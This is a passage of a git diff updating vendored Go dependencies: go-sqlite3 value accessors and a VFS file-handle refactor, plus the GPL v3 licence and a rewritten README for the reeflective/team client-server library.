https://www.sqlite.org/c3ref/value.html +type Value struct { + *sqlite + handle uint32 +} + +// Type returns the initial [Datatype] of the value. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Type() Datatype { + r := v.call(v.api.valueType, uint64(v.handle)) + return Datatype(r) +} + +// Bool returns the value as a bool. +// SQLite does not have a separate boolean storage class. +// Instead, boolean values are retrieved as integers, +// with 0 converted to false and any other value to true. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Bool() bool { + if i := v.Int64(); i != 0 { + return true + } + return false +} + +// Int returns the value as an int. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Int() int { + return int(v.Int64()) +} + +// Int64 returns the value as an int64. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Int64() int64 { + r := v.call(v.api.valueInteger, uint64(v.handle)) + return int64(r) +} + +// Float returns the value as a float64. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Float() float64 { + r := v.call(v.api.valueFloat, uint64(v.handle)) + return math.Float64frombits(r) +} + +// Time returns the value as a [time.Time]. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Time(format TimeFormat) time.Time { + var a any + switch v.Type() { + case INTEGER: + a = v.Int64() + case FLOAT: + a = v.Float() + case TEXT, BLOB: + a = v.Text() + case NULL: + return time.Time{} + default: + panic(util.AssertErr()) + } + t, _ := format.Decode(a) + return t +} + +// Text returns the value as a string. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Text() string { + return string(v.RawText()) +} + +// Blob appends to buf and returns +// the value as a []byte. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) Blob(buf []byte) []byte { + return append(buf, v.RawBlob()...) +} + +// RawText returns the value as a []byte. +// The []byte is owned by SQLite and may be invalidated by +// subsequent calls to [Value] methods. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) RawText() []byte { + r := v.call(v.api.valueText, uint64(v.handle)) + return v.rawBytes(uint32(r)) +} + +// RawBlob returns the value as a []byte. +// The []byte is owned by SQLite and may be invalidated by +// subsequent calls to [Value] methods. +// +// https://www.sqlite.org/c3ref/value_blob.html +func (v Value) RawBlob() []byte { + r := v.call(v.api.valueBlob, uint64(v.handle)) + return v.rawBytes(uint32(r)) +} + +func (v Value) rawBytes(ptr uint32) []byte { + if ptr == 0 { + return nil + } + + r := v.call(v.api.valueBytes, uint64(v.handle)) + return util.View(v.mod, ptr, r) +} diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go index 7425096241..158f1731d2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/vfs/api.go +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/api.go @@ -15,7 +15,7 @@ type VFS interface { FullPathname(name string) (string, error) } -// VFSParams extends VFS to with the ability to handle URI parameters +// VFSParams extends VFS with the ability to handle URI parameters // through the OpenParams method. // // https://www.sqlite.org/c3ref/uri_boolean.html diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go b/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go new file mode 100644 index 0000000000..035458e687 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/clear.go @@ -0,0 +1,9 @@ +//go:build !go1.21 + +package vfs + +func clear(b []byte) { + for i := range b { + b[i] = 0 + } +} diff --git a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go index e50bacffc8..3114705b7b 100644 --- a/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go +++ b/vendor/github.com/ncruces/go-sqlite3/vfs/vfs.go @@ -44,33 +44,6 @@ func ExportHostFunctions(env wazero.HostModuleBuilder) wazero.HostModuleBuilder return env } -type vfsKey struct{} -type vfsState struct { - files []File -} - -// NewContext is an internal API users need not call directly. -// -// NewContext creates a new context to hold [api.Module] specific VFS data. -// The context should be passed to any [api.Function] calls that might -// generate VFS host callbacks. -// The returned [io.Closer] should be closed after the [api.Module] is closed, -// to release any associated resources. -func NewContext(ctx context.Context) (context.Context, io.Closer) { - vfs := new(vfsState) - return context.WithValue(ctx, vfsKey{}, vfs), vfs -} - -func (vfs *vfsState) Close() error { - for _, f := range vfs.files { - if f != nil { - f.Close() - } - } - vfs.files = nil - return nil -} - func vfsFind(ctx context.Context, mod api.Module, zVfsName uint32) uint32 { name := util.ReadString(mod, zVfsName, _MAX_STRING) if vfs := Find(name); vfs != nil && vfs != (vfsOS{}) { @@ -183,6 +156,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla file, flags, err = vfs.Open(path, flags) } + if err != nil { + return vfsErrorCode(err, _CANTOPEN) + } + if file, ok := file.(FilePowersafeOverwrite); ok { if !parsed { params = vfsURIParameters(ctx, mod, zPath, flags) @@ -192,14 +169,10 @@ func vfsOpen(ctx context.Context, mod api.Module, pVfs, zPath, pFile uint32, fla } } - if err != nil { - return vfsErrorCode(err, _CANTOPEN) - } - - vfsFileRegister(ctx, mod, pFile, file) if pOutFlags != 0 { util.WriteUint32(mod, pOutFlags, uint32(flags)) } + vfsFileRegister(ctx, mod, pFile, file) return _OK } @@ -431,40 +404,22 @@ func vfsGet(mod api.Module, pVfs uint32) VFS { panic(util.NoVFSErr + util.ErrorString(name)) } -func vfsFileNew(vfs *vfsState, file File) uint32 { - // Find an empty slot. - for id, f := range vfs.files { - if f == nil { - vfs.files[id] = file - return uint32(id) - } - } - - // Add a new slot. - vfs.files = append(vfs.files, file) - return uint32(len(vfs.files) - 1) -} - func vfsFileRegister(ctx context.Context, mod api.Module, pFile uint32, file File) { const fileHandleOffset = 4 - id := vfsFileNew(ctx.Value(vfsKey{}).(*vfsState), file) + id := util.AddHandle(ctx, file) util.WriteUint32(mod, pFile+fileHandleOffset, id) } func vfsFileGet(ctx context.Context, mod api.Module, pFile uint32) File { const fileHandleOffset = 4 - vfs := ctx.Value(vfsKey{}).(*vfsState) id := util.ReadUint32(mod, pFile+fileHandleOffset) - return vfs.files[id] + return util.GetHandle(ctx, id).(File) } func vfsFileClose(ctx context.Context, mod api.Module, pFile uint32) error { const fileHandleOffset = 4 - vfs := ctx.Value(vfsKey{}).(*vfsState) id := util.ReadUint32(mod, pFile+fileHandleOffset) - file := vfs.files[id] - vfs.files[id] = nil - return file.Close() + return util.DelHandle(ctx, id) } func vfsErrorCode(err error, def _ErrorCode) _ErrorCode { @@ -477,9 +432,3 @@ func vfsErrorCode(err error, def _ErrorCode) _ErrorCode { } return def } - -func clear(b []byte) { - for i := range b { - b[i] = 0 - } -} diff --git a/vendor/github.com/reeflective/team/LICENSE b/vendor/github.com/reeflective/team/LICENSE new file mode 100644 index 0000000000..f288702d2f --- /dev/null +++ b/vendor/github.com/reeflective/team/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/vendor/github.com/reeflective/team/README.md b/vendor/github.com/reeflective/team/README.md index d9e926c2e7..c3c5fcb160 100644 --- a/vendor/github.com/reeflective/team/README.md +++ b/vendor/github.com/reeflective/team/README.md @@ -1,25 +1,4 @@ - - - - - - - - - - - - - - - - - - - - -


    Team

    @@ -66,23 +45,276 @@ ----- - ## Summary ------ +The client-server paradigm is an ubiquitous concept in computer science. Equally large and common is +the problem of building software that _collaborates_ easily with other peer programs. Although +writing collaborative software seems to be the daily task of many engineers around the world, +succeedingly and easily doing so in big programs as well as in smaller ones is not more easily done +than said. Difficulty still increases -and keeping in mind that humans use software and not the +inverse- when programs must enhance the capacity of humans to collaborate while not restricting the +number of ways they can do so, for small tasks as well as for complex ones. + +The `reeflective/team` library provides a small toolset for arbitrary programs (and especially those +controlled in more or less interactive ways) to collaborate together by acting as clients and +servers of each others, as part of a team. Teams being made of players (humans _and_ their tools), +the library focuses on offering a toolset for "human teaming": that is, treating software tools that +are either _teamclients_ or _teamservers_ of others, within a defined -generally restricted- team of +users, which shall generally be strictly and securely authenticated. + +The project originates from the refactoring of a security-oriented tool that used this approach to +clearly segregate client and server binary code (the former's not needing most of the latter's). +Besides, the large exposure of the said-tool to the CLI prompted the author of the +`reeflective/team` library to rethink how the notion of "collaborative programs" could be approached +and explored from different viewpoints: distinguishing between the tools' developers, and their +users. After having to reuse this core code for other projects, the idea appeared to extract the +relevant parts and to restructure and repackage them behind coherent interfaces (API and CLI). -## CLI examples (users) ----- +## Components & Terms + +The result consists in 2 Go packages (`client` and `server`) for programs needing to act as: +- A **Team client**: a program, or one of its components, that needs to rely on a "remote" program peer + to serve some functionality that is available to a team of users' tools. The program acting as a + _teamclient_ may do so for things as simple as sending a message to the team, or as complicated as a + compiler backend with which multiple client programs can send data to process and 